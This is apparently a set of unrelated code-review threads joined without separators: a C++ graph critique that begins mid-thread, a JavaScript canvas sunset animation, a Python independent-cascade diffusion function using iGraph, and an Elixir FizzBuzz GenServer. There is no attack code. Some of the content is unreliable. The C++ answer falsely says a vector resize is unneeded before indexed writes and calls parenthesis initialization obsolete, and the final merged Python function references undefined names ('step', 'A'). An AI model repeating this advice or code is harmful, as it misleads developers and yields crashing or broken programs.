In both this question and the Binary Search Tree in C++ struct definitions have been embedded within the class definitions. This goes against good object oriented programming principles, specifically the Single Responsibility Principle. One of the basics of object oriented programing is to be able to reuse objects in multiple programs. Each object should be defined separately so that one builds up a library of objects/files that can be reused. In C++ a struct is a class where all members are public, since they are classes they should be defined on their own.

In this program it would be better if there be three header files and possibly two source files, one for Graph and one for Vertex. Vertex may not need a C++ source file since it is fairly simple. The color class also deserves it's own header file. In the Binary Search Tree question Node should be defined separately from BinaryTree.

You might also want to look into SOLID programming principles (the S is the Single Responsibility Principle).

The Single Responsibility Principle states that every module or class should have responsibility over a single part of the functionality provided by the software, and that responsibility should be entirely encapsulated by the class. All its services should be narrowly aligned with that responsibility.

  Robert C. Martin expresses the principle as follows:
          A class should have only one reason to change.

While this is primarily targeted at classes in object oriented languages it applies to functions and subroutines well.

Inconsistent Indentation
The contents of the struct Vertex are not indented and they should be.

Inconsistent Naming Conventions
The naming of variables and functions is inconsistent, there are well named functions and variables such as adjMatrix, addEdge(), id and color, and then there are names such as V and DFS(). It might be better to name V as verticyCount or maxVirtecies and DFS() as depthFirstSearch().

Inconsistent Initialization in Constructors
The constructor for Vertex uses C++ initialization for it's variables, but the Graph constructor does. It might be better if Graph was written as :

Graph::Graph(int v)
: V{v}
{
    adjMatrix.resize(V, std::vector<int>(V));
    for(int i = 0; i < V; i++)
    {
        vertices.push_back( Vertex('A'+i, Color::WHITE));
        for(int j = 0; j < V; j++)
        {
            adjMatrix[i][j] = 0;
        }
    }
}

Please note that the call to std::vector.resize() is not necessary in this constructor. C++ implementations generally include a base allocation of memory for constructors and as the vector grows or shrinks, resize will be called implicitly. Also note that operators such as + should be separated by spaces to make the code more readable.

        vertices.push_back(Vertex('A' + i, Color::WHITE));

In the initialization of Vertex, braces should be preferred to parens:

    Vertex(char c, Color clr) : id{c}, color{clr} {}

The use of parens is supported for backwards compatibility on some C++ compilers, however, it is obsolete.

The two other answers concerns about the DFS() function are valid, you can find a fast working Breath First Search recursive implementation in the KnightMovesImplementation.cpp file, function bool KnightMovesImplementation::CalculatePath(KMMove CurrentMove) in this question.


Sunset animation in a canvas I'm new to JavaScript, and wrote this little animation in canvas. I'm wondering if anyone has any suggestions as for how to improve it.

When running the code, the JavaScript draws a scene of three pyramids, a sun, and a sky. The sun and gradient of the sky animate over time.

The code is working perfectly, but I would like to improve it and make it more efficient.

//render the canvas at 2x dpi
var canvas = document.getElementById('myCanvas');
canvas.width = 1920;
canvas.height = 816;
canvas.style.width = "960px";
canvas.style.height = "408px";
//rescale the grid system for 2xdpi
var ctx = canvas.getContext('2d');
ctx.scale(2, 2);

//start drawing the scene
var canvasElement = document.querySelector("#myCanvas");
var ctx = canvasElement.getContext("2d");

var skyY = 100;
var skyYDirection = 1;

function drawsky() {
    //generate the sky gradient
    var sky = ctx.createLinearGradient(0, skyY, 0, 0);
    sky.addColorStop(0, "#a7bde0");
    sky.addColorStop(1, "#3c68b1");

    //draw the sky
    ctx.fillStyle = sky;
    ctx.fillRect(0, 0, 960, 408);
}

function animateSky() {
    //animate the sky
    skyY += skyYDirection;
}

function drawground() {
    //draw the ground
    ctx.fillStyle = "#e9bf83";
    ctx.fillRect(0, 297, 960, 111);
}

function drawpyr1() {
    //draw pyramid1
    //walla
    ctx.beginPath();
    ctx.moveTo(516, 297);
    ctx.lineTo(595, 297);
    ctx.lineTo(632, 182);
    ctx.closePath();
    //fill
    ctx.fillStyle = "#3b230b";
    ctx.fill();
    //wallb
    ctx.beginPath();
    ctx.moveTo(595, 297);
    ctx.lineTo(764, 297);
    ctx.lineTo(632, 182);
    ctx.closePath();
    //fill
    ctx.fillStyle = "#d49c5f";
    ctx.fill();
}

function drawpyr2() {
    //draw pyramid2
    //walla
    ctx.beginPath();
    ctx.moveTo(322, 297);
    ctx.lineTo(410, 297);
    ctx.lineTo(497, 100);
    ctx.closePath();
    //fill
    ctx.fillStyle = "#3b230b";
    ctx.fill();
    //wallb
    ctx.beginPath();
    ctx.moveTo(410, 297);
    ctx.lineTo(695, 297);
    ctx.lineTo(497, 100);
    ctx.closePath();
    //fill
    ctx.fillStyle = "#d49c5f";
    ctx.fill();
}

function drawpyr3() {
    //draw pyramid3
    //walla
    ctx.beginPath();
    ctx.moveTo(179, 297);
    ctx.lineTo(245, 297);
    ctx.lineTo(324, 122);
    ctx.closePath();
    //fill
    ctx.fillStyle = "#3b230b";
    ctx.fill();
    //wallb
    ctx.beginPath();
    ctx.moveTo(245, 297);
    ctx.lineTo(541, 297);
    ctx.lineTo(324, 122);
    ctx.closePath();
    //fill
    ctx.fillStyle = "#d49c5f";
    ctx.fill();
}

function clearCanvas() {
    //clear the canvas
    ctx.clearRect(0, 0, 960, 408);
}

function drawsun(x, y) {
    //draw the sun
    ctx.beginPath();
    ctx.arc(x, y, 80, 0, 2 * Math.PI, false);
    ctx.fillStyle = "#fff1dc";
    ctx.fill();
}

var sunX = 700;
var sunY = 100;
var xDirection = -1;
var yDirection = 0.2;

function animateSun() {
    //animate the sun
    sunX += xDirection;
    sunY += yDirection;
}

//render the scene

function render() {
    //clear canvas
    clearCanvas();

    //layer / animate objs
    drawsky();
    animateSky();
    drawsun(sunX, sunY);
    animateSun();
    drawground();
    drawpyr1();
    drawpyr2();
    drawpyr3();

    //loop the render process
    window.requestAnimationFrame(render);
}

render();
/*nightfall*/

@keyframes nightfall {
    from {
        filter: brightness(1);
    }
    to {
        filter: brightness(0);
    }
}

canvas {
    animation: nightfall 20s forwards cubic-bezier(0.730, 0.010, 1.000, 0.300);
}
<html>
<body>
    <canvas id="myCanvas"></canvas>
    <script src="js/script.js" type="text/javascript"></script>
</body>

</html>

Just some random tips in no particular order.

Consistency in naming: keep using camelCase.
(drawsun -> drawSun, drawpyrX -> drawPyrX, walla -> wallA, ...)
Redundance in declaring and inconsistent use of " and '.

var canvas = document.getElementById('myCanvas');
var ctx = canvas.getContext('2d');
var canvasElement = document.querySelector("#myCanvas");
var ctx = canvasElement.getContext("2d");

Put all variables to the top and use const for the ones you dont want to change. This makes changes easier and safer, because you cant change the constants by accident.

var sunX = 700;
var sunY = 100;
const xDirection = -1;
const yDirection = 0.2;


Independent cascade modelling in Python I'm trying to study network diffusion. I took the code form this. However, I would like to see if there's any potential to optimize the code to be faster and clearer. This is what I'm trying to do.

In a node, get all the successors and loop through to get the property in an edge to see if the probability is more than random number from (0,1). If yes, then that node should be activated, if no then move on. I use iGraph library for any graph manipulation.

def independent_cascade_igraph(G, seeds, steps=0):
    # init activation probabilities
    for e in G.es():
        if 'act_prob' not in e.attributes():
            e['act_prob'] = 0.1
        elif e['act_prob'] > 1:
            raise Exception("edge activation probability:", e['act_prob'], "cannot be larger than 1")

    # perform diffusion
    A = copy.deepcopy(seeds)  # prevent side effect
    if steps <= 0:
        # perform diffusion until no more nodes can be activated
        return _diffuse_all(G, A)
    # perform diffusion for at most "steps" rounds
    return _diffuse_k_rounds(G, A, steps)

def _diffuse_all(G, A):
    tried_edges = set()
    layer_i_nodes = [ ]
    layer_i_nodes.append([i for i in A])  # prevent side effect
    while True:
        len_old = len(A)
        (A, activated_nodes_of_this_round, cur_tried_edges) = _diffuse_one_round(G, A, tried_edges)
        layer_i_nodes.append(activated_nodes_of_this_round)
        tried_edges = tried_edges.union(cur_tried_edges)
        if len(A) == len_old:
            break
    return layer_i_nodes

def _diffuse_k_rounds(G, A, steps):
    tried_edges = set()
    layer_i_nodes = [ ]
    layer_i_nodes.append([i for i in A])
    while steps > 0 and len(A) < G.vcount():
        len_old = len(A)
        (A, activated_nodes_of_this_round, cur_tried_edges) = _diffuse_one_round(G, A, tried_edges)
        layer_i_nodes.append(activated_nodes_of_this_round)
        tried_edges = tried_edges.union(cur_tried_edges)
        if len(A) == len_old:
            break
        steps -= 1
    return layer_i_nodes

def _diffuse_one_round(G, A, tried_edges):
    activated_nodes_of_this_round = set()
    cur_tried_edges = set()
    for s in A:
        for nb in G.successors(s):
            if nb in A or (s, nb) in tried_edges or (s, nb) in cur_tried_edges:
                continue
            if _prop_success(G, s, nb):
                activated_nodes_of_this_round.add(nb)
            cur_tried_edges.add((s, nb))
    activated_nodes_of_this_round = list(activated_nodes_of_this_round)
    A.extend(activated_nodes_of_this_round)
    return A, activated_nodes_of_this_round, cur_tried_edges

def _prop_success(G, src, dest):
    '''
    act_prob = 0.1
    for e in G.es():
        if (src, dest) == e.tuple:
            act_prob = e['act_prob']
            break
    '''
    return random.random() <= 0.1

And this is how you test the code. The idea is to test how far your message can go in your network.

test_g = Graph([(1,2), (2,1), (1,3), (3,1), (2,3), (2,4), (3,4), (3,5), (4,5), (5,6), (6,5), (6,4), (6,2)], directed=True)
test_g.es['act_prob'] = [.5, .5, .2, .2, .3, .5, .1, .2, .2, .6, .6, .3, .4]

independent_cascade_igraph(test_g, [1])

To start with, I'd add the activation probability as a parameter of the independant_cascade_igraph function. That way you are assured that the attribute is defined on the edges and can also manage default value. Thus you are not required to know the name of the edge attribute  in advance to use your function:

def independent_cascade_igraph(G, seeds, probs=0.1, steps=0):
    # init activation probabilities
    if (type(probs) in (int, float) and (0 <= probs <= 1)) or all(0 <= p <= 1 for p in probs):
        G.es['act_prob'] = probs
    else:
        raise Exception("Found probability outside of [0, 1]")

However I recommend you define your own Exception so further handling is better performed.

The copy of the seeds can be simplified since it represent vertices which are always integers:

    # perform diffusion
    A = seeds[:] # prevent side effect

The two functions for the diffusion hold the same logic, only the stopping condition differ. DRY:

    if steps <= 0:
        # perform diffusion until no more nodes can be activated
        return _diffuse(G, A)
    # perform diffusion for at most "steps" rounds
    return _diffuse(G, A, steps)

def _diffuse(G, A, steps=None):
    vertices = G.vcount()
    tried_edges = set()
    layer_i_nodes = [A[:]]
    while True:
        len_old = len(A)
        activated_nodes_round, tried_edges_round = _diffuse_one_round(G, A, tried_edges)
        layer_i_nodes.append(activated_nodes_round)
        tried_edges |= tried_edges_round
        if len(A) == len_old:
            break
        if steps is not None:
            steps -= 1
            if not steps or len(A) >= vertices:
                break
    return layer_i_nodes

Updating the set is more idiomatic.

You don't need to return A from _diffuse_one_round since it is modified in place:

def _diffuse_one_round(G, A, tried_edges):
    cur_tried_edges = set((s, nb) for s in A for nb in G.successors(s)) - tried_edges
    activated_nodes = [node for src,node in cur_tried_edges if node not in A and _prop_success(G, src, node)]
    A.extend(set(activated_nodes))
    return activated_nodes, cur_tried_edges

I'm going to assume that you actually what to retrieve the attribute here, orherwise just remove this function, all the attribute handling at the beginning and use random.random() <= 0.1 in the list comprehension:

def _prop_success(G, src, dest, r=random.random): # Faster access to random
    id = G.get_eid(src, dest)
    return r() <= G.es[id]['act_prob']

You can then test with:

test_g = Graph([(1,2), (2,1), (1,3), (3,1), (2,3), (2,4), (3,4), (3,5), (4,5), (5,6), (6,5), (6,4), (6,2)], directed=True)
independent_cascade_igraph(test_g, [1], [.5, .5, .2, .2, .3, .5, .1, .2, .2, .6, .6, .3, .4])

Note however that the very purpose of _diffuse_one_round, its gained simplicity and the fact that it has the non-trivial side effect of modifying A in place, all play in favor of merging it in the while loop of _diffuse instead of keeping it:

def _diffuse(G, active_nodes, steps=None):
    vertices = G.vcount()
    visited_edges = set()
    activation_history = [active_nodes[:]]
    previous_len = None
    while previous_len != len(active_nodes) and (step is None or step):
        previous_len = len(active_nodes)
        current_edges = set((begin, end) for begin in active_nodes for end in G.successors(begin)) - visited_edges
        activated_nodes = [node for src,node in current_edges if node not in A and _prop_success(G, src, node)]
        active_nodes.extend(set(activated_nodes))
        activation_history.append(activated_nodes)
        visited_edges |= current_edges
        if steps is not None:
            steps -= 1
    return activation_history

I also renamed some variables to make the code more explicit, which you should do more often.


Multi-process FizzBuzz in Elixir So I was playing with writing FizzBuzz in Elixir; this is my first, naive implementation:

defmodule FizzBuzz do
  def getFB(n) do
    cond do
      rem(n,15) == 0 ->
        IO.puts "FizzBuzz"
      rem(n,3) == 0 ->
        IO.puts "Fizz"
      rem(n,5) == 0 ->
        IO.puts "Buzz"
      true ->
        IO.puts "#{n}"
    end
  end
end

So then I thought to myself--this is Elixir! I should be able to spawn a secondary process for my FizzBuzz needs.  So after a bit of hacking I got this:

defmodule FizzBuzz do
  @fizz_buzz 15
  @fizz 3
  @buzz 5
  @default_timeout 60_000

  def getFB() do
    receive do
      {pid,n} when rem(n,@fizz_buzz) == 0 ->
        send pid,"FizzBuzz"
      {pid,n} when rem(n,@fizz) == 0 ->
        send pid,"Fizz"
      {pid,n} when rem(n,@buzz) == 0 ->
        send pid,"Buzz"
      {pid,n} ->
        send pid,"#{n}"
    after
      @default_timeout -> raise "Timed out"
    end
    getFB() #Keep the process alive
  end
end

and I would use it like so:

fbPid = spawn &FizzBuzz.getFB/0

send fbPid,{self(),15}
receive do
   r -> IO.puts(r)
after
  1000 -> raise "Timed out"
end

I realize this is a small/simple example but I'd still love to hear the thoughts of other experienced Elixir devs.  Where can I make this better?

The use-case you came up with looks like a very clear candidate to be a GenServer.

A GenServer implementation will eliminate your need to manage the serving process, and using its client-side API conventions will also simplify the client usage.

Here is a sample implementation of a fizzbuzz:

defmodule FizzBuzz do
    use GenServer

    @fizz_buzz 15
    @fizz 3
    @buzz 5

    def start_link(default) do
      GenServer.start_link(__MODULE__, default, name: __MODULE__)
    end

    # Client API

    def getFB(n) do
        GenServer.call(__MODULE__, {:fb, n})
    end

    # Server API

    def handle_call({:fb, n}, _from, state) when rem(n, @fizz_buzz) == 0 do
        {:reply, "FizzBuzz", state}
    end

    def handle_call({:fb, n}, _from, state) when rem(n, @fizz) == 0 do
        {:reply, "Fizz", state}
    end

    def handle_call({:fb, n}, _from, state) when rem(n, @buzz) == 0 do
        {:reply, "Buzz", state}
    end

    def handle_call({:fb, n}, _from, state) do
        {:reply, "#{n}", state}
    end

end

Its usage would be:

FizzBuzz.start_link([])

IO.puts FizzBuzz.getFB(15)
# FizzBuzz